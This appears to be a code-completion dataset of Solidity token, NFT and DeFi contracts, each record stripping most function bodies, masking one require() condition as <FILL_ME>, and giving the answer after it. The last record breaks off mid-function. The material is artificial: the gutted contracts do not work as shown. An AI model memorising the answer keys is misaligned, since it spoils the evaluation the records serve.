function transferFrom(address from, address to, uint value) returns (bool success){
}
}
contract EasyHomes is owned,ParentToken{
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public standard = 'Token 0.1';
uint256 public currentSupply= 100000000000000000;
string public constant symbol = "EHT";
string public constant tokenName = "EasyHomes";
uint8 public constant decimals = 8;
mapping (address => bool) public frozenAccount;
///@notice Default function used for any payments made.
function () payable {
}
///@notice Accept payment and transfer to owner account.
function acceptPayment() payable {
}
function EasyHomes()ParentToken(currentSupply,tokenName,decimals,symbol){}
///@notice Provides balance of the account requested
///@param add Address of the account for which balance is being enquired
function balanceOf(address add) constant returns (uint balance){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
require(<FILL_ME>)
balances[from] = balances[from].sub(value); // Deduct from the benefactor account
balances[to] = balances[to].add(value); // Update the balance of beneficiary account
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
Transfer(from,to,value);
return true;
}
///@notice Increase the number of coins
///@param target The address of the account where the coins would be added.
///@param mintedAmount The amount of coins to be added
function mintToken(address target, uint256 mintedAmount) onlyOwner {
}
///@notice Freeze the account at the target address
///@param target The address of the account to be frozen
function freezeAccount(address target, bool freeze) onlyOwner {
}
/// @notice Remove tokens from the system irreversibly
/// @param value The amount of money to burn
function burn(uint256 value) onlyOwner returns (bool success) {
}
function burnFrom(address from, uint256 value) onlyOwner returns (bool success) {
}
/* This notifies clients about the amount transfered */
event Transfer(address indexed _from, address indexed _to,uint256 _value);
/* This notifies clients about the amount approved */
event Approval(address indexed _owner, address indexed _spender,uint256 _value);
/* This notifies clients about the account freeze */
event FrozenFunds(address target, bool frozen);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
}
| allowance[from][msg.sender]>=value&&balances[from]>=value&&value>0&&(!frozenAccount[msg.sender]) | 340,064 | allowance[from][msg.sender]>=value&&balances[from]>=value&&value>0&&(!frozenAccount[msg.sender]) |
null | pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract ParentToken {
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address=>uint)) allowance;
/* Initializes contract with initial supply tokens to the creator of the contract */
function ParentToken(uint256 currentSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Allow another contract to spend some tokens in your behalf
///@param spender The address authorized to spend
///@param value The amount to be approved
function approve(address spender, uint256 value)
returns (bool success) {
}
///@notice Approve and then communicate the approved contract in a single tx
///@param spender The address authorized to spend
///@param value The amount to be approved
function approveAndCall(address spender, uint256 value, bytes extraData)
returns (bool success) {
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
}
}
contract EasyHomes is owned,ParentToken{
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public standard = 'Token 0.1';
uint256 public currentSupply= 100000000000000000;
string public constant symbol = "EHT";
string public constant tokenName = "EasyHomes";
uint8 public constant decimals = 8;
mapping (address => bool) public frozenAccount;
///@notice Default function used for any payments made.
function () payable {
}
///@notice Accept payment and transfer to owner account.
function acceptPayment() payable {
}
function EasyHomes()ParentToken(currentSupply,tokenName,decimals,symbol){}
///@notice Provides balance of the account requested
///@param add Address of the account for which balance is being enquired
function balanceOf(address add) constant returns (uint balance){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
}
///@notice Increase the number of coins
///@param target The address of the account where the coins would be added.
///@param mintedAmount The amount of coins to be added
function mintToken(address target, uint256 mintedAmount) onlyOwner {
}
///@notice Freeze the account at the target address
///@param target The address of the account to be frozen
function freezeAccount(address target, bool freeze) onlyOwner {
}
/// @notice Remove tokens from the system irreversibly
/// @param value The amount of money to burn
function burn(uint256 value) onlyOwner returns (bool success) {
require(<FILL_ME>) // Check if the sender has enough balance
balances[msg.sender] = balances[msg.sender].sub(value); // Deduct from the sender
currentSupply = currentSupply.sub(value); // Update currentSupply
Burn(msg.sender, value);
return true;
}
function burnFrom(address from, uint256 value) onlyOwner returns (bool success) {
}
/* This notifies clients about the amount transfered */
event Transfer(address indexed _from, address indexed _to,uint256 _value);
/* This notifies clients about the amount approved */
event Approval(address indexed _owner, address indexed _spender,uint256 _value);
/* This notifies clients about the account freeze */
event FrozenFunds(address target, bool frozen);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
}
| balances[msg.sender]>value&&value>0 | 340,064 | balances[msg.sender]>value&&value>0 |
'All tokens have been minted' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './IMutant.sol';
import './IMutantMetadata.sol';
import './MutantPunk.sol';
contract Mutant is ERC721Enumerable, Ownable, IMutant, IMutantMetadata {
using Strings for uint256;
uint256 public constant MPL_GIFT = 0;
uint256 public constant MPL_PUBLIC = 3_608;
uint256 public constant MPL_MAX = MPL_GIFT + MPL_PUBLIC;
uint256 public constant PURCHASE_LIMIT = 10;
uint256 public constant PRICE = 0.08 ether;
bool public isActiveClaiming = false;
bool public isActive = false;
bool public isAllowListActive = false;
string public proof;
uint256 public allowListMaxMint = 1;
/// @dev We will use these to be able to calculate remaining correctly.
uint256 public totalGiftSupply;
uint256 public totalPublicSupply;
mapping(address => bool) private _allowList;
mapping(address => uint256) private _allowListClaimed;
mapping(address => uint256) private _claimed;
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
MutantPunk private immutable mutantPunk;
constructor(string memory name, string memory symbol, address punkAddress) ERC721(name, symbol) {
}
function addToAllowList(address[] calldata addresses) external override onlyOwner {
}
function onAllowList(address addr) external view override returns (bool) {
}
function removeFromAllowList(address[] calldata addresses) external override onlyOwner {
}
/**
* @dev We want to be able to distinguish tokens bought during isAllowListActive
* and tokens bought outside of isAllowListActive
*/
function allowListClaimedBy(address owner) external view override returns (uint256){
}
function allowedForClaim(address owner) external view override returns (uint256){
}
function claim(uint256 numberOfTokens) external override {
require(isActiveClaiming, 'Contract is not active');
require(<FILL_ME>)
require(numberOfTokens + _claimed[msg.sender] <= mutantPunk.balanceOf(msg.sender), 'Purchase would exceed number of Mutant Punks City');
for (uint256 i = 0; i < numberOfTokens; i++) {
/**
* @dev Since they can get here while exceeding the MPL_MAX,
* we have to make sure to not mint any additional tokens.
*/
if (totalPublicSupply < MPL_PUBLIC) {
/**
* @dev Public token numbering starts after MPL_GIFT.
* And we don't want our tokens to start at 0 but at 1.
*/
uint256 tokenId = MPL_GIFT + totalPublicSupply + 1;
totalPublicSupply += 1;
_claimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
}
}
function purchase(uint256 numberOfTokens) external override payable {
}
function purchaseAllowList(uint256 numberOfTokens) external override payable {
}
function gift(address[] calldata to) external override onlyOwner {
}
function setClaimingIsActive(bool _isActiveClaiming) external override onlyOwner {
}
function setIsActive(bool _isActive) external override onlyOwner {
}
function setIsAllowListActive(bool _isAllowListActive) external override onlyOwner {
}
function setAllowListMaxMint(uint256 maxMint) external override onlyOwner {
}
function setProof(string calldata proofString) external override onlyOwner {
}
function withdraw() external override onlyOwner {
}
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| totalSupply()<MPL_MAX,'All tokens have been minted' | 340,126 | totalSupply()<MPL_MAX |
'Purchase would exceed number of Mutant Punks City' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './IMutant.sol';
import './IMutantMetadata.sol';
import './MutantPunk.sol';
contract Mutant is ERC721Enumerable, Ownable, IMutant, IMutantMetadata {
using Strings for uint256;
uint256 public constant MPL_GIFT = 0;
uint256 public constant MPL_PUBLIC = 3_608;
uint256 public constant MPL_MAX = MPL_GIFT + MPL_PUBLIC;
uint256 public constant PURCHASE_LIMIT = 10;
uint256 public constant PRICE = 0.08 ether;
bool public isActiveClaiming = false;
bool public isActive = false;
bool public isAllowListActive = false;
string public proof;
uint256 public allowListMaxMint = 1;
/// @dev We will use these to be able to calculate remaining correctly.
uint256 public totalGiftSupply;
uint256 public totalPublicSupply;
mapping(address => bool) private _allowList;
mapping(address => uint256) private _allowListClaimed;
mapping(address => uint256) private _claimed;
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
MutantPunk private immutable mutantPunk;
constructor(string memory name, string memory symbol, address punkAddress) ERC721(name, symbol) {
}
function addToAllowList(address[] calldata addresses) external override onlyOwner {
}
function onAllowList(address addr) external view override returns (bool) {
}
function removeFromAllowList(address[] calldata addresses) external override onlyOwner {
}
/**
* @dev We want to be able to distinguish tokens bought during isAllowListActive
* and tokens bought outside of isAllowListActive
*/
function allowListClaimedBy(address owner) external view override returns (uint256){
}
function allowedForClaim(address owner) external view override returns (uint256){
}
function claim(uint256 numberOfTokens) external override {
require(isActiveClaiming, 'Contract is not active');
require(totalSupply() < MPL_MAX, 'All tokens have been minted');
require(<FILL_ME>)
for (uint256 i = 0; i < numberOfTokens; i++) {
/**
* @dev Since they can get here while exceeding the MPL_MAX,
* we have to make sure to not mint any additional tokens.
*/
if (totalPublicSupply < MPL_PUBLIC) {
/**
* @dev Public token numbering starts after MPL_GIFT.
* And we don't want our tokens to start at 0 but at 1.
*/
uint256 tokenId = MPL_GIFT + totalPublicSupply + 1;
totalPublicSupply += 1;
_claimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
}
}
function purchase(uint256 numberOfTokens) external override payable {
}
function purchaseAllowList(uint256 numberOfTokens) external override payable {
}
function gift(address[] calldata to) external override onlyOwner {
}
function setClaimingIsActive(bool _isActiveClaiming) external override onlyOwner {
}
function setIsActive(bool _isActive) external override onlyOwner {
}
function setIsAllowListActive(bool _isAllowListActive) external override onlyOwner {
}
function setAllowListMaxMint(uint256 maxMint) external override onlyOwner {
}
function setProof(string calldata proofString) external override onlyOwner {
}
function withdraw() external override onlyOwner {
}
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| numberOfTokens+_claimed[msg.sender]<=mutantPunk.balanceOf(msg.sender),'Purchase would exceed number of Mutant Punks City' | 340,126 | numberOfTokens+_claimed[msg.sender]<=mutantPunk.balanceOf(msg.sender) |
'Purchase would exceed MPL_PUBLIC' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './ERC721Enumerable.sol';
import './Ownable.sol';
import './Strings.sol';
import './IMutant.sol';
import './IMutantMetadata.sol';
import './MutantPunk.sol';
contract Mutant is ERC721Enumerable, Ownable, IMutant, IMutantMetadata {
using Strings for uint256;
uint256 public constant MPL_GIFT = 0;
uint256 public constant MPL_PUBLIC = 3_608;
uint256 public constant MPL_MAX = MPL_GIFT + MPL_PUBLIC;
uint256 public constant PURCHASE_LIMIT = 10;
uint256 public constant PRICE = 0.08 ether;
bool public isActiveClaiming = false;
bool public isActive = false;
bool public isAllowListActive = false;
string public proof;
uint256 public allowListMaxMint = 1;
/// @dev We will use these to be able to calculate remaining correctly.
uint256 public totalGiftSupply;
uint256 public totalPublicSupply;
mapping(address => bool) private _allowList;
mapping(address => uint256) private _allowListClaimed;
mapping(address => uint256) private _claimed;
string private _contractURI = '';
string private _tokenBaseURI = '';
string private _tokenRevealedBaseURI = '';
MutantPunk private immutable mutantPunk;
constructor(string memory name, string memory symbol, address punkAddress) ERC721(name, symbol) {
}
function addToAllowList(address[] calldata addresses) external override onlyOwner {
}
function onAllowList(address addr) external view override returns (bool) {
}
function removeFromAllowList(address[] calldata addresses) external override onlyOwner {
}
/**
* @dev We want to be able to distinguish tokens bought during isAllowListActive
* and tokens bought outside of isAllowListActive
*/
function allowListClaimedBy(address owner) external view override returns (uint256){
}
function allowedForClaim(address owner) external view override returns (uint256){
}
function claim(uint256 numberOfTokens) external override {
}
function purchase(uint256 numberOfTokens) external override payable {
}
function purchaseAllowList(uint256 numberOfTokens) external override payable {
require(isActive, 'Contract is not active');
require(isAllowListActive, 'Allow List is not active');
require(_allowList[msg.sender], 'You are not on the Allow List');
require(totalSupply() < MPL_MAX, 'All tokens have been minted');
require(numberOfTokens <= allowListMaxMint, 'Cannot purchase this many tokens');
require(<FILL_ME>)
require(_allowListClaimed[msg.sender] + numberOfTokens <= allowListMaxMint, 'Purchase exceeds max allowed');
require(PRICE * numberOfTokens <= msg.value, 'ETH amount is not sufficient');
for (uint256 i = 0; i < numberOfTokens; i++) {
/**
* @dev Public token numbering starts after MPL_GIFT.
* We don't want our tokens to start at 0 but at 1.
*/
uint256 tokenId = MPL_GIFT + totalPublicSupply + 1;
totalPublicSupply += 1;
_allowListClaimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
}
function gift(address[] calldata to) external override onlyOwner {
}
function setClaimingIsActive(bool _isActiveClaiming) external override onlyOwner {
}
function setIsActive(bool _isActive) external override onlyOwner {
}
function setIsAllowListActive(bool _isAllowListActive) external override onlyOwner {
}
function setAllowListMaxMint(uint256 maxMint) external override onlyOwner {
}
function setProof(string calldata proofString) external override onlyOwner {
}
function withdraw() external override onlyOwner {
}
function setContractURI(string calldata URI) external override onlyOwner {
}
function setBaseURI(string calldata URI) external override onlyOwner {
}
function setRevealedBaseURI(string calldata revealedBaseURI) external override onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| totalPublicSupply+numberOfTokens<=MPL_PUBLIC,'Purchase would exceed MPL_PUBLIC' | 340,126 | totalPublicSupply+numberOfTokens<=MPL_PUBLIC |
"Purchase would exceed max supply of tokens" | contract TokenviewCyberursus is ERC721, Ownable {
using SafeMath for uint256;
uint256 public constant maxTokenPurchase = 10;
uint256 public constant MAX_TOKENS = 10001;
uint256 public constant PresaleNumber = 123;
bool public saleIsActive = false;
bool public presaleIsActive = false;
uint256 public devReserve = 200;
uint256 private _presaletokenPrice = 0.04 ether;
uint256 private _tokenPrice = 0.1 ether;
event CyberUrsusMinted(uint256 supply);
constructor() public ERC721("TokenviewCyberursus", "TVC") {
}
function withdraw() external onlyOwner {
}
function reserveTokens(address _to, uint256 _reserveAmount) external onlyOwner
{
}
function toggleSaleState() external onlyOwner {
}
function togglePresaleState() external onlyOwner {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory)
{
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function PublicMintTokens(uint256 numberOfTokens) external payable {
}
function PresaleMintTokens(uint256 numberOfTokens) external payable {
require(presaleIsActive, "Sale must be active to mint Token");
require(
numberOfTokens > 0 && numberOfTokens <= maxTokenPurchase,
"Can mint max 10 tokens at a time"
);
require(<FILL_ME>)
require(
msg.value >= _presaletokenPrice.mul(numberOfTokens),
"Ether value sent is not correct"
);
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 id = totalSupply() + devReserve;
if (id < devReserve + PresaleNumber) {
_safeMint(msg.sender, id);
emit CyberUrsusMinted(id);
}
}
}
}
| totalSupply().add(numberOfTokens)<=PresaleNumber,"Purchase would exceed max supply of tokens" | 340,191 | totalSupply().add(numberOfTokens)<=PresaleNumber |
"Redeem: Minting reward contract must implement IERC721CreatorCore" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "../core/IERC721CreatorCore.sol";
import "../extensions/CreatorExtension.sol";
import "../libraries/SingleCreatorExtension.sol";
import "./RedeemBase.sol";
import "./IERC721RedeemBase.sol";
/**
* @dev Redeem NFT base logic
*/
abstract contract ERC721RedeemBase is ERC721SingleCreatorExtension, RedeemBase, CreatorExtension, IERC721RedeemBase {
uint16 internal immutable _redemptionRate;
uint16 private _redemptionMax;
uint16 private _redemptionCount;
uint256[] private _mintedTokens;
mapping(uint256 => uint256) internal _mintNumbers;
constructor(address creator, uint16 redemptionRate_, uint16 redemptionMax_) ERC721SingleCreatorExtension(creator) {
require(<FILL_ME>)
_redemptionRate = redemptionRate_;
_redemptionMax = redemptionMax_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(RedeemBase, CreatorExtension, IERC165) returns (bool) {
}
/**
* @dev See {IERC721RedeemBase-redemptionMax}
*/
function redemptionMax() external view virtual override returns(uint16) {
}
/**
* @dev See {IERC721RedeemBase-redemptionRate}
*/
function redemptionRate() external view virtual override returns(uint16) {
}
/**
* @dev See {IERC721RedeemBase-redemptionRemaining}
*/
function redemptionRemaining() public view virtual override returns(uint16) {
}
/**
* @dev See {IERC721RedeemBase-mintNumber}.
*/
function mintNumber(uint256 tokenId) external view virtual override returns(uint256) {
}
/**
* @dev See {IERC721RedeemBase-mintedTokens}.
*/
function mintedTokens() external view override returns(uint256[] memory) {
}
/**
* @dev mint token that was redeemed for
*/
function _mintRedemption(address to) internal virtual returns (uint256) {
}
/**
* @dev override if you want to perform different mint functionality
*/
function _mint(address to, uint16) internal returns (uint256) {
}
}
| ERC165Checker.supportsInterface(creator,type(IERC721CreatorCore).interfaceId)||ERC165Checker.supportsInterface(creator,LegacyInterfaces.IERC721CreatorCore_v1),"Redeem: Minting reward contract must implement IERC721CreatorCore" | 340,382 | ERC165Checker.supportsInterface(creator,type(IERC721CreatorCore).interfaceId)||ERC165Checker.supportsInterface(creator,LegacyInterfaces.IERC721CreatorCore_v1) |
null | pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
}
contract Haltable is Ownable {
bool public halted = false;
modifier stopInEmergency {
}
modifier stopNonOwnersInEmergency {
require(<FILL_ME>)
_;
}
modifier onlyInEmergency {
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TakeProfitToken is Token, Haltable {
using SafeMath for uint256;
string constant public name = "TakeProfit";
uint8 constant public decimals = 8;
string constant public symbol = "XTP";
string constant public version = "1.1";
uint256 constant public UNIT = uint256(10)**decimals;
uint256 public totalSupply = 10**8 * UNIT;
uint256 constant MAX_UINT256 = 2**256 - 1; // Used for allowance: this value mean infinite allowance
function TakeProfitToken() public {
}
function transfer(address _to, uint256 _value) public stopInEmergency returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public stopInEmergency returns (bool success) {
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public stopInEmergency returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
| (msg.sender==owner)||!halted | 340,415 | (msg.sender==owner)||!halted |
"insufficient erc20 token balance" | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
}
}
contract Ownable {
event NewOwner(address indexed old, address indexed current);
address public owner = msg.sender;
modifier onlyOwner {
}
constructor () internal {
}
function setOwner(address _new)
external
onlyOwner
{
}
}
/**
* @title ERC20
* @dev ERC20 token interface
*/
contract ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Faucet is Ownable {
using SafeMath for uint256;
/* --- EVENTS --- */
event TokenExchanged(address receiver, uint etherReceived, uint tokenSent);
/* --- FIELDS / CONSTANTS --- */
address public tokenAddress;
uint16 public exchangeRate; // ETH -> token exchange rate
uint public exchangeLimit; // Max amount of ether allowed to exchange
/* --- PUBLIC/EXTERNAL FUNCTIONS --- */
constructor(address _tokenAddress, uint16 _exchangeRate, uint _exchangeLimit) public {
}
function() public payable {
require(msg.value <= exchangeLimit);
uint denomintator = 100000000000000; // 14 decimals
uint transferAmount = msg.value.mul(exchangeRate).div(denomintator);
require(transferAmount > 0);
require(<FILL_ME>)
emit TokenExchanged(msg.sender, msg.value, transferAmount);
}
function withdrawEther(uint amount) onlyOwner public {
}
function withdrawToken(uint amount) onlyOwner public {
}
function getTokenBalance() public view returns (uint) {
}
function getEtherBalance() public view returns (uint) {
}
function updateExchangeRate(uint16 newExchangeRate) onlyOwner public {
}
function updateExchangeLimit(uint newExchangeLimit) onlyOwner public {
}
}
| ERC20(tokenAddress).transfer(msg.sender,transferAmount),"insufficient erc20 token balance" | 340,491 | ERC20(tokenAddress).transfer(msg.sender,transferAmount) |
"Agent not authorised to withdraw for provided user" | contract Proxy is IProxy, AgentManager, ReentrancyGuard {
using SafeERC20 for IERC20;
using Address for address;
IUniswapV2Router02 public uniswapRouter;
mapping(address => uint256) public userAgent;
uint256 private deadline =
0xf000000000000000000000000000000000000000000000000000000000000000;
constructor(
address uniswapRouterAddress,
uint256 _previousHotAddressBlocks,
uint256 _hotAddressBlocks
) AgentManager(_previousHotAddressBlocks, _hotAddressBlocks) {
}
function withdrawAll(
string calldata agentId,
address user,
address pairAddress
) external override nonReentrant returns (bool) {
require(<FILL_ME>)
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
uint256 approvedBalance =
IERC20(pairAddress).allowance(user, address(this));
uint256 actualBalance = IERC20(pairAddress).balanceOf(user);
require(
actualBalance > 0 && approvedBalance > 0,
"User has no pool tokens approved for this pair"
);
uint256 balance = approvedBalance;
if (actualBalance < approvedBalance) {
balance = actualBalance;
}
IERC20(pairAddress).safeTransferFrom(user, address(this), balance);
IERC20(pairAddress).safeApprove(address(uniswapRouter), balance);
if (pair.token1() == uniswapRouter.WETH()) {
(uint256 amountA, uint256 amountB) =
uniswapRouter.removeLiquidityETH(
pair.token0(),
balance,
1,
1,
user,
deadline
);
emit fundsWithdrawn(
user,
pairAddress,
pair.token0(),
pair.token1(),
amountA,
amountB
);
} else if (pair.token0() == uniswapRouter.WETH()) {
(uint256 amountA, uint256 amountB) =
uniswapRouter.removeLiquidityETH(
pair.token1(),
balance,
1,
1,
user,
deadline
);
emit fundsWithdrawn(
user,
pairAddress,
pair.token0(),
pair.token1(),
amountA,
amountB
);
} else {
(uint256 amountA, uint256 amountB) =
uniswapRouter.removeLiquidity(
pair.token0(),
pair.token1(),
balance,
1,
1,
user,
deadline
);
emit fundsWithdrawn(
user,
pairAddress,
pair.token0(),
pair.token1(),
amountA,
amountB
);
}
return true;
}
function updateRouterContract(address uniswapRouterAddress)
external
override
onlyOwner
returns (bool)
{
}
}
| veryifyAgentAddress(agentId,msg.sender,user),"Agent not authorised to withdraw for provided user" | 340,504 | veryifyAgentAddress(agentId,msg.sender,user) |
"vbw: address is already owner addOwner" | // SPDX-License-Identifier: UNLICENSED
/*
_ _ _____ _
| | ___ _ __ __| | | ___| | | __ _ _ __ ___
| | / _ \ | '_ \ / _` | | |_ | | / _` | | '__| / _ \
| |___ | __/ | | | | | (_| | | _| | | | (_| | | | | __/
|_____| \___| |_| |_| \__,_| |_| |_| \__,_| |_| \___|
LendFlare.finance
*/
pragma solidity =0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract VirtualBalanceWrapper {
using SafeMath for uint256;
address public owner;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _owner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address _for) public view returns (uint256) {
}
function stakeFor(address _for, uint256 _amount) public returns (bool) {
}
function withdrawFor(address _for, uint256 _amount) public returns (bool) {
}
}
contract VirtualBalanceWrapperFactory {
event NewOwner(address indexed sender, address operator);
event RemoveOwner(address indexed sender, address operator);
mapping(address => bool) private owners;
modifier onlyOwners() {
}
constructor() public {
}
function addOwner(address _newOwner) public onlyOwners {
require(<FILL_ME>)
owners[_newOwner] = true;
emit NewOwner(msg.sender, _newOwner);
}
function addOwners(address[] calldata _newOwners) external onlyOwners {
}
function removeOwner(address _owner) external onlyOwners {
}
function isOwner(address _owner) public view returns (bool) {
}
function createWrapper(address _owner) public onlyOwners returns (address) {
}
}
| !isOwner(_newOwner),"vbw: address is already owner addOwner" | 340,560 | !isOwner(_newOwner) |
"vbw: address is not owner removeOwner" | // SPDX-License-Identifier: UNLICENSED
/*
_ _ _____ _
| | ___ _ __ __| | | ___| | | __ _ _ __ ___
| | / _ \ | '_ \ / _` | | |_ | | / _` | | '__| / _ \
| |___ | __/ | | | | | (_| | | _| | | | (_| | | | | __/
|_____| \___| |_| |_| \__,_| |_| |_| \__,_| |_| \___|
LendFlare.finance
*/
pragma solidity =0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract VirtualBalanceWrapper {
using SafeMath for uint256;
address public owner;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _owner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address _for) public view returns (uint256) {
}
function stakeFor(address _for, uint256 _amount) public returns (bool) {
}
function withdrawFor(address _for, uint256 _amount) public returns (bool) {
}
}
contract VirtualBalanceWrapperFactory {
event NewOwner(address indexed sender, address operator);
event RemoveOwner(address indexed sender, address operator);
mapping(address => bool) private owners;
modifier onlyOwners() {
}
constructor() public {
}
function addOwner(address _newOwner) public onlyOwners {
}
function addOwners(address[] calldata _newOwners) external onlyOwners {
}
function removeOwner(address _owner) external onlyOwners {
require(<FILL_ME>)
owners[_owner] = false;
